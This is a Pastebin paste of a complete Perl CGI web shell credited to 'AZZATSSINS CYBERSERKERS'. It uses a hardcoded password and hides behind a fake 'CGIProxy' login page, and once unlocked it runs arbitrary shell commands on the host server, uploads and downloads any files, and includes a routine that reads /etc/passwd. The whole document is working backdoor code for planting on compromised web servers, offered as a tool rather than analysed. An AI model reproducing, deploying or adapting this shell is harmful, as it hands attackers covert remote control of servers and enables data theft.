Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -I/usr/local/bandmin
- $NTCmdSep = "&";
- $UnixCmdSep = ";";
- $CommandTimeoutDuration = 300;
- $ShowDynamicOutput = 1;
- $azzatssins = "AZ404";
- $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
- $CmdPwd = ($WinNT ? "cd" : "pwd");
- $PathSep = ($WinNT ? "\\" : "/");
- $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
- sub ReadParse
- {
- local (*in) = @_ if @_;
- local ($i, $loc, $key, $val);
- $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
- if($ENV{'REQUEST_METHOD'} eq "GET")
- {
- $in = $ENV{'QUERY_STRING'};
- }
- elsif($ENV{'REQUEST_METHOD'} eq "POST")
- {
- binmode(STDIN) if $MultipartFormData & $WinNT;
- read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
- }
- if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
- {
- $Boundary = '--'.$1;
- @list = split(/$Boundary/, $in);
- $HeaderBody = $list[1];
- $HeaderBody =~ /\r\n\r\n|\n\n/;
- $Header = $`;
- $Body = $';
- $Body =~ s/\r\n$//;
- $in{'filedata'} = $Body;
- $Header =~ /filename=\"(.+)\"/;
- $in{'f'} = $1;
- $in{'f'} =~ s/\"//g;
- $in{'f'} =~ s/\s//g;
- # parse trailer
- for($i=2; $list[$i]; $i++)
- {
- $list[$i] =~ s/^.+name=$//;
- $list[$i] =~ /\"(\w+)\"/;
- $key = $1;
- $val = $';
- $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
- $val =~ s/%(..)/pack("c", hex($1))/ge;
- $in{$key} = $val;
- }
- }
- else # standard post data (url encoded, not multipart)
- {
- @in = split(/&/, $in);
- foreach $i (0 .. $#in)
- {
- $in[$i] =~ s/\+/ /g;
- ($key, $val) = split(/=/, $in[$i], 2);
- $key =~ s/%(..)/pack("c", hex($1))/ge;
- $val =~ s/%(..)/pack("c", hex($1))/ge;
- $in{$key} .= "\0" if (defined($in{$key}));
- $in{$key} .= $val;
- }
- }
- }
- sub foo
- {
- my ( $login, $p, $uid, $gid, $gecos, $dir, $s );
- my %HoH = ();
- my $file = '/etc/passwd';
- open( PASSWD, "< $file" ) or die "Can't open $file : $!";
- while( <PASSWD> ) {
- ( $login, $p, $uid, $gid, $gecos, $dir, $s ) = split( ':' );
- $HoH{ $login }{ 'uid' } = $uid;
- $HoH{ $login }{ 'gid' } = $gid;
- $HoH{ $login }{ 'dir' } = $dir;
- }
- close PASSWD;
- return \%HoH;
- }
- sub PrintPageHeader
- {
- $EncodedCurrentDir = $CurrentDir;
- $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
- print "Content-type: text/html\n\n";
- print <<END;
- <meta content=PERLWEB5SHELL-BY-AZZATSSINS-CYBERSERKERS name=description>
- END
- }
- sub PrintLoginScreen
- {
- $Message = q$
- $;
- #'
- print <<END;
- $Message
- END
- }
- sub PrintLoginFailedMessage
- {
- print <<END;
- <code>
- <center><br>WHAT THE HELL ARE YOU DOING...!!!<br>
- </center>
- </code>
- END
- }
- sub PrintLoginForm
- {
- print <<END;
- <code>
- <html>
- <head>
- <title>Start Using CGIProxy</title>
- </head>
- <body onload="document.URLform.URL.focus() ; if (document.URLform.URL.value.match(/^\x01/)) document.URLform.URL.value= _proxy_jslib_wrap_proxy_decode(document.URLform.URL.value.replace(/\x01/, ''))">
- <p>
- <h1>CGIProxy</h1>
- <p>Start browsing through this CGI-based proxy by entering a URL below.
- Only HTTP and FTP URLs are supported. Not all functions will work
- (e.g. some Java applets), but most pages will be fine.
- <form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="a" value="login"><input name="p" size=66 value="">
- <br><input type=checkbox id="rc" name="rc"><label for="rc"> Remove all cookies (except certain proxy cookies)</label>
- <br><input type=checkbox id="rs" name="rs"><label for="rs"> Remove all scripts (recommended for anonymity)</label>
- <br><input type=checkbox id="fa" name="fa"><label for="fa"> Remove ads</label>
- <br><input type=checkbox id="br" name="br"><label for="br"> Hide referrer information</label>
- <br><input type=checkbox id="if" name="if" checked><label for="if"> Show URL entry form</label>
- <p><input type=submit value=" Begin browsing ">
- </form>
- <h3><a href="mailto:cyberserkers@gmail.com">Manage cookies</a></h3>
- <p>
- <hr>
- <table width="100%"><tr>
- <td align=left>
- <i><a href="http://wget.yu.tl">CGIProxy 2.1.10</a>
- (<a href="http://azzatssinz.tumblr.com">download</a>)</i>
- </td>
- <td align=right>
- <a href="http://azzatssinz.tumblr.com"><i>Restart</i></a>
- </td>
- </tr></table>
- <p>
- </body>
- </html>
- </code>
- END
- }
- sub PrintPageFooter
- {
- print "</font></body></html>";
- }
- sub GetCookies
- {
- @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
- foreach $cookie(@httpcookies)
- {
- ($id, $val) = split(/=/, $cookie);
- $Cookies{$id} = $val;
- }
- }
- sub PrintLogoutScreen
- {
- print "<code><center><a href=http://azzatssinz.tumblr.com>LogOut Success...</a></center><br><br></code>";
- }
- sub PerformLogout
- {
- print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
- &PrintPageHeader("p");
- &PrintLogoutScreen;
- &PrintLoginScreen;
- &PrintLoginForm;
- &PrintPageFooter;
- }
- sub PerformLogin
- {
- if($LoginPassword eq $azzatssins) # password matched
- {
- print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
- &PrintPageHeader("c");
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- else # password didn't match
- {
- &PrintPageHeader("p");
- &PrintLoginScreen;
- if($LoginPassword ne "") # some password was entered
- {
- &PrintLoginFailedMessage;
- }
- &PrintLoginForm;
- &PrintPageFooter;
- }
- }
- sub PrintCommandLineInputForm
- {
- $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\ ";
- print <<END;
- <code>
- <title>.: AZZATSSINS CYBERSERKERS WEB PERL5HELL :.</title><body bgcolor=silver>
- <center><a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir"><img src=https://lh3.googleusercontent.com/-qg8PY7S9LsM/VtENkUuLg8I/AAAAAAAAAPE/7PnXFF4-3n0/w480-h480/AZZATSSINS.png><br></a><br><font color=silver>=====================</font><br><br><form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="a" value="command">
- <input type="hidden" name="d" value="$CurrentDir">
- <b><i><font color="red">$Prompt</font>
- </i></b><br>
- <input type="text" name="c" size="25">
- <input type="submit" value="Enter">
- </form>
- </center>
- </code>
- END
- }
- sub PrintFileDownloadForm
- {
- $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\ ";
- print <<END;
- <code>
- <title>.: AZZATSSINS CYBERSERKERS WEB PERL5HELL :.</title><body bgcolor=silver>
- <center><img src=http://s28.postimg.org/tixvhu6nx/narsis.png><br>
- <font color=lime><b><i><form name="f" method="POST" action="$ScriptLocation">
- <input type="hidden" name="d" value="$CurrentDir">
- <input type="hidden" name="a" value="download">
- $Prompt download<br><br>
- Filename: <input type="text" name="f" size="35"><br><br>
- Download: <input type="submit" value="Begin">
- </form>
- </i></b></font></center>
- </code>
- END
- }
- sub PrintFileUploadForm
- {
- $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\ ";
- print <<END;
- <code>
- <title>.: AZZATSSINS CYBERSERKERS WEB PERL5HELL :.</title><body bgcolor=silver>
- <center><img src=https://lh3.googleusercontent.com/-qg8PY7S9LsM/VtENkUuLg8I/AAAAAAAAAPE/7PnXFF4-3n0/w480-h480/AZZATSSINS.png><br>
- <font color="lime"><b><i>[<a href="$ScriptLocation?">Home</a>] [<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a>] [<a href="$ScriptLocation?a=logout">Logout</a>
- ]</i></b></font><br><font color=lime><b><i><form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
- $Prompt upload<br><br>
- Filename: <input type="file" name="f" size="35"><br><br>
- Options: <input type="checkbox" name="o" value="overwrite">
- Overwrite if it Exists<br><br>
- Upload: <input type="submit" value="Begin">
- <input type="hidden" name="d" value="$CurrentDir">
- <input type="hidden" name="a" value="upload">
- </form></i></b></font>
- </center>
- </code>
- END
- }
- sub CommandTimeout
- {
- if(!$WinNT)
- {
- alarm(0);
- print <<END;
- </xmp>
- <code>
- Command exceeded maximum time of $CommandTimeoutDuration second(s).
- <br>Killed it!
- <code>
- END
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- exit;
- }
- }
- sub ExecuteCommand
- {
- if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
- {
- $OldDir = $CurrentDir;
- $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
- chop($CurrentDir = `$Command`);
- &PrintPageHeader("c");
- &PrintCommandLineInputForm;
- print "<div style='float: center; text-align: left;'>";
- $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\ ";
- print "<code><center><font color=violet><b><i>$Prompt <br> $RunCommand</i></b></font></center></code>";
- }
- else # some other command, display the output
- {
- &PrintPageHeader("c");
- &PrintCommandLineInputForm;
- print "<div style='float: center; text-align: left;'>";
- $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\ ";
- print "<code><center><font color=violet><b><i>$Prompt <br> $RunCommand<br></i></b></font></center></code><xmp style='color: #00FF00;'>";
- $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
- if(!$WinNT)
- {
- $SIG{'ALRM'} = \&CommandTimeout;
- alarm($CommandTimeoutDuration);
- }
- if($ShowDynamicOutput) # show output as it is generated
- {
- $|=1;
- $Command .= " |";
- open(CommandOutput, $Command);
- while(<CommandOutput>)
- {
- $_ =~ s/(\n|\r\n)$//;
- print "$_\n";
- }
- $|=0;
- }
- else # show output after command completes
- {
- print "<code><center><b><i><font color=orange> `$Command` </font></i></b></center></code>";
- }
- if(!$WinNT)
- {
- alarm(0);
- }
- print "</xmp>";
- }
- print "</div>";
- &PrintPageFooter;
- }
- sub PrintDownloadLinkPage
- {
- local($FileUrl) = @_;
- if(-e $FileUrl) # if the file exists
- {
- # encode the file link so we can send it to the browser
- $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
- $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
- $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
- &PrintPageHeader("c");
- print <<END;
- <code>
- Sending File $TransferFile...<br>
- If the download does not start automatically,
- <a href="$DownloadLink">Click Here</a>.
- </code>
- END
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- else # file doesn't exist
- {
- &PrintPageHeader("f");
- print "<code>Failed to download $FileUrl: $!</code>";
- &PrintFileDownloadForm;
- &PrintPageFooter;
- }
- }
- sub SendFileToBrowser
- {
- local($SendFile) = @_;
- if(open(SENDFILE, $SendFile)) # file opened for reading
- {
- if($WinNT)
- {
- binmode(SENDFILE);
- binmode(STDOUT);
- }
- $FileSize = (stat($SendFile))[7];
- ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
- print "Content-Type: application/x-unknown\n";
- print "Content-Length: $FileSize\n";
- print "Content-Disposition: attachment; filename=$1\n\n";
- print while(<SENDFILE>);
- close(SENDFILE);
- }
- else # failed to open file
- {
- &PrintPageHeader("f");
- print "<code>Failed to download $SendFile: $!</code>";
- &PrintFileDownloadForm;
- &PrintPageFooter;
- }
- }
- sub BeginDownload
- {
- # get fully qualified path of the file to be downloaded
- if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
- (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
- {
- $TargetFile = $TransferFile;
- }
- else # path is relative
- {
- chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
- $TargetFile .= $PathSep.$TransferFile;
- }
- if($Options eq "go") # we have to send the file
- {
- &SendFileToBrowser($TargetFile);
- }
- else # we have to send only the link page
- {
- &PrintDownloadLinkPage($TargetFile);
- }
- }
- sub UploadFile
- {
- # if no file is specified, print the upload form again
- if($TransferFile eq "")
- {
- &PrintPageHeader("f");
- &PrintFileUploadForm;
- &PrintPageFooter;
- return;
- }
- &PrintPageHeader("c");
- # start the uploading process
- print "<code>Uploading $TransferFile to $CurrentDir...<br>";
- # get the fullly qualified pathname of the file to be created
- chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
- $TransferFile =~ m!([^/^\\]*)$!;
- $TargetName .= $PathSep.$1;
- $TargetFileSize = length($in{'filedata'});
- # if the file exists and we are not supposed to overwrite it
- if(-e $TargetName && $Options ne "overwrite")
- {
- print "Failed: Destination file already exists.<br>";
- }
- else # file is not present
- {
- if(open(UPLOADFILE, ">$TargetName"))
- {
- binmode(UPLOADFILE) if $WinNT;
- print UPLOADFILE $in{'filedata'};
- close(UPLOADFILE);
- print "Transfered $TargetFileSize Bytes.<br>";
- print "File Path: $TargetName<br>";
- }
- else
- {
- print "Failed: $!<br>";
- }
- }
- print "</code>";
- &PrintCommandLineInputForm;
- &PrintPageFooter;
- }
- sub DownloadFile
- {
- # if no file is specified, print the download form again
- if($TransferFile eq "")
- {
- &PrintPageHeader("f");
- &PrintFileDownloadForm;
- &PrintPageFooter;
- return;
- }
- # get fully qualified path of the file to be downloaded
- if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
- (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
- {
- $TargetFile = $TransferFile;
- }
- else # path is relative
- {
- chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
- $TargetFile .= $PathSep.$TransferFile;
- }
- if($Options eq "go") # we have to send the file
- {
- &SendFileToBrowser($TargetFile);
- }
- else # we have to send only the link page
- {
- &PrintDownloadLinkPage($TargetFile);
- }
- }
- &ReadParse;
- &GetCookies;
- $ScriptLocation = $ENV{'SCRIPT_NAME'};
- $ServerName = $ENV{'SERVER_NAME'};
- $LoginPassword = $in{'p'};
- $RunCommand = $in{'c'};
- $TransferFile = $in{'f'};
- $Options = $in{'o'};
- $Action = $in{'a'};
- $Action = "login" if($Action eq ""); # no action specified, use default
- # get the directory in which the commands will be executed
- $CurrentDir = $in{'d'};
- chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
- $LoggedIn = $Cookies{'SAVEDPWD'} eq $azzatssins;
- if($Action eq "login" || !$LoggedIn) # user needs/has to login
- {
- &PerformLogin;
- }
- elsif($Action eq "command") # user wants to run a command
- {
- &ExecuteCommand;
- }
- elsif($Action eq "upload") # user wants to upload a file
- {
- &UploadFile;
- }
- elsif($Action eq "download") # user wants to download a file
- {
- &DownloadFile;
- }
- elsif($Action eq "logout") # user wants to logout
- {
- &PerformLogout;
- }
Add Comment
Please, Sign In to add comment